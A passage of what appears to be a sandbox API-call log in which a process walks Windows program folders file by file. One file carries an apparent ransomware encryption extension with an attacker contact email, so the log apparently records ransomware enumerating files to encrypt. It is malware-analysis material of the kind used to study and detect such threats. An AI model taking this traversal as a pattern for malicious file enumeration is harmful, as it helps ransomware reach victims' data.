cAlternateFileName="")) returned 1 [0243.354] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f6bff8 | out: hHeap=0x630000) returned 1 [0243.354] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c97fd, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3ecc0a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0243.354] FindClose (in: hFindFile=0x6ec4b0 | out: hFindFile=0x6ec4b0) returned 1 [0243.354] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f27fd0 | out: hHeap=0x630000) returned 1 [0243.354] FindNextFileW (in: hFindFile=0x6ec2f0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa098a4c6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71143a45, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSInfo", cAlternateFileName="")) returned 1 [0243.358] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f6bff8 | out: hHeap=0x630000) returned 1 [0243.358] FindNextFileW (in: hFindFile=0x6ec270, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463aec8d, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x63793f1, ftLastAccessTime.dwHighDateTime=0x1d2fa0a, ftLastWriteTime.dwLowDateTime=0x463aec8d, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x5a600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msinfo32.exe", cAlternateFileName="")) returned 1 [0243.358] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f27fd0 | out: hHeap=0x630000) returned 1 [0243.360] FindNextFileW (in: hFindFile=0x6ec2f0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd9f60362, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd9f60362, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OFFICE16", cAlternateFileName="")) returned 1 [0243.368] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f80008 | out: hHeap=0x630000) returned 1 [0243.369] FindNextFileW (in: hFindFile=0x6ec070, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xd9f60362, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xa0a26299, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xda982389, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office Setup Controller", cAlternateFileName="OFFICE~1")) returned 0 [0243.369] FindClose (in: hFindFile=0x6ec070 | out: hFindFile=0x6ec070) returned 1 [0243.369] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f27fd0 | out: hHeap=0x630000) returned 1 [0243.370] FindNextFileW (in: hFindFile=0x6ec2f0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd99442a7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xd99442a7, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xd99442a7, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OfficeSoftwareProtectionPlatform", cAlternateFileName="OFFICE~1")) returned 1 [0243.528] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f27fd0 | out: hHeap=0x630000) returned 1 [0243.528] FindNextFileW (in: hFindFile=0x6ec2f0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4accd6e1, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4accd6e1, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4accd6e1, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Source Engine", cAlternateFileName="SOURCE~1")) returned 1 [0243.529] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f27fd0 | out: hHeap=0x630000) returned 1 [0243.529] FindNextFileW (in: hFindFile=0x6ec2f0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b5538f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Stationery", cAlternateFileName="STATIO~1")) returned 1 [0243.533] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f27fd0 | out: hHeap=0x630000) returned 1 [0243.533] FindNextFileW (in: hFindFile=0x6ec2f0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b56882, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TextConv", cAlternateFileName="")) returned 1 [0243.534] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f80008 | out: hHeap=0x630000) returned 1 [0243.534] FindNextFileW (in: hFindFile=0x6ec3f0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b5787e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 [0243.534] FindClose (in: hFindFile=0x6ec3f0 | out: hFindFile=0x6ec3f0) returned 1 [0243.534] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f27fd0 | out: hHeap=0x630000) returned 1 [0243.534] FindNextFileW (in: hFindFile=0x6ec2f0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b57d42, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Triedit", cAlternateFileName="")) returned 1 [0243.536] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f80008 | out: hHeap=0x630000) returned 1 [0243.536] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b209410, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa0b58502, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b209410, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 0 [0243.536] FindClose (in: hFindFile=0x6ec4b0 | out: hFindFile=0x6ec4b0) returned 1 [0243.536] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f27fd0 | out: hHeap=0x630000) returned 1 [0243.536] FindNextFileW (in: hFindFile=0x6ec2f0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x30, ftCreationTime.dwLowDateTime=0xbcd0fab8, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xa0b594b8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2ce22546, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VC", cAlternateFileName="")) returned 1 [0243.538] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f27fd0 | out: hHeap=0x630000) returned 1 [0243.538] FindNextFileW (in: hFindFile=0x6ec2f0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0b59a78, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x71169cb5, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VGX", cAlternateFileName="")) returned 1 [0243.538] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f27fd0 | out: hHeap=0x630000) returned 1 [0243.538] FindNextFileW (in: hFindFile=0x6ec2f0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ecb94e, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ae972f5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VSTO", cAlternateFileName="")) returned 1 [0243.545] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f5bff0 | out: hHeap=0x630000) returned 1 [0243.545] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x18888, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VSTOInstaller.exe", cAlternateFileName="VSTOIN~1.EXE")) returned 1 [0243.545] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f80008 | out: hHeap=0x630000) returned 1 [0243.545] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5dbd6700, ftCreationTime.dwHighDateTime=0x1d0d7c4, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x5dbd6700, ftLastWriteTime.dwHighDateTime=0x1d0d7c4, nFileSizeHigh=0x0, nFileSizeLow=0x29080, dwReserved0=0x0, dwReserved1=0x0, cFileName="vstoee.dll", cAlternateFileName="")) returned 1 [0243.546] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f27fd0 | out: hHeap=0x630000) returned 1 [0243.547] FindNextFileW (in: hFindFile=0x6ec2f0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ecb94e, ftCreationTime.dwHighDateTime=0x1d327e9, ftLastAccessTime.dwLowDateTime=0x4ae972f5, ftLastAccessTime.dwHighDateTime=0x1d327e9, ftLastWriteTime.dwLowDateTime=0x4ae972f5, ftLastWriteTime.dwHighDateTime=0x1d327e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="VSTO", cAlternateFileName="")) returned 0 [0243.547] FindClose (in: hFindFile=0x6ec2f0 | out: hFindFile=0x6ec2f0) returned 1 [0243.548] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0243.548] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c11068, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a412e70, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0243.549] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f80008 | out: hHeap=0x630000) returned 1 [0243.549] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c5f95f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 1 [0243.553] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f27fd0 | out: hHeap=0x630000) returned 1 [0243.553] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43854cb5, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x43854cb5, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x43854cb5, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msader15.dll", cAlternateFileName="")) returned 1 [0243.554] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0243.554] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x96d5a533, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x96d5a533, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x96d5a533, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DirectDB.dll", cAlternateFileName="")) returned 1 [0243.554] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0243.554] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d7f179, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="msadc", cAlternateFileName="")) returned 1 [0243.557] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x3f7c000, Size=0x8000) returned 0x3f90010 [0243.558] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f27fd0 | out: hHeap=0x630000) returned 1 [0243.558] FindNextFileW (in: hFindFile=0x6ec2f0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41da7e83, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x41da7e83, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x41da7e83, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa9c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msadce.dll", cAlternateFileName="")) returned 1 [0243.558] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0243.558] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0d8186d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Ole DB", cAlternateFileName="OLEDB~1")) returned 1 [0243.560] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f27fd0 | out: hHeap=0x630000) returned 1 [0243.560] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440870df, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440870df, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440870df, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x18600, dwReserved0=0x0, dwReserved1=0x0, cFileName="msdaosp.dll", cAlternateFileName="")) returned 1 [0243.561] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0243.561] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x440d35a9, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x440d35a9, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x440d35a9, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd0a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wab32.dll", cAlternateFileName="")) returned 1 [0243.561] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f80008 | out: hHeap=0x630000) returned 1 [0243.563] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bb043c, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0c5f95f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b22f66e, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 0 [0243.563] FindClose (in: hFindFile=0x6ebd70 | out: hFindFile=0x6ebd70) returned 1 [0243.563] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ed0068 | out: hHeap=0x630000) returned 1 [0243.563] FindNextFileW (in: hFindFile=0x6ec170, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x393aeeb2, ftCreationTime.dwHighDateTime=0x1d501ab, ftLastAccessTime.dwLowDateTime=0x393aeeb2, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x393aeeb2, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x19a, dwReserved0=0x0, dwReserved1=0x240000, cFileName="desktop.ini.id-B4197730.[bitcharity@protonmail.com].com", cAlternateFileName="DESKTO~1.COM")) returned 1 [0243.567] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0243.567] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a4ec31b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a4ec31b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a4ec31b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExtExport.exe", cAlternateFileName="")) returned 1 [0243.567] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0243.567] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2132d, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xb77a1634, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb77a1634, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SIGNUP", cAlternateFileName="")) returned 1 [0243.568] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0243.568] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a9b1003, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x2a9b1003, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x2a9b1003, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc218, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqmapi.dll", cAlternateFileName="")) returned 1 [0243.568] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ed0068 | out: hHeap=0x630000) returned 1 [0243.568] FindNextFileW (in: hFindFile=0x6ec170, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa235ac5b, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa235ac5b, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa235ac5b, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Java", cAlternateFileName="")) returned 1 [0243.832] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0243.832] FindNextFileW (in: hFindFile=0x6ec070, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa742cea6, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa742cea6, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa742cea6, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x7440, dwReserved0=0x0, dwReserved1=0x0, cFileName="dt_shmem.dll", cAlternateFileName="")) returned 1 [0243.835] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0243.835] FindNextFileW (in: hFindFile=0x6ec070, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa89ee6c2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa89ee6c2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa89ee6c2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="policytool.exe", cAlternateFileName="POLICY~1.EXE")) returned 1 [0243.868] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0243.869] FindNextFileW (in: hFindFile=0x6ec070, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8b45bd2, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8b45bd2, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x4040, dwReserved0=0x0, dwReserved1=0x0, cFileName="servertool.exe", cAlternateFileName="SERVER~1.EXE")) returned 1 [0243.932] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0243.933] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa7406c5a, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa7406c5a, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa7406c5a, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xcac, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="COPYRIGHT", cAlternateFileName="COPYRI~1")) returned 1 [0243.987] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f27fd0 | out: hHeap=0x630000) returned 1 [0243.987] FindNextFileW (in: hFindFile=0x6ec070, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8b45bd2, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa105ca28, ftLastAccessTime.dwHighDateTime=0x1d47ca3, 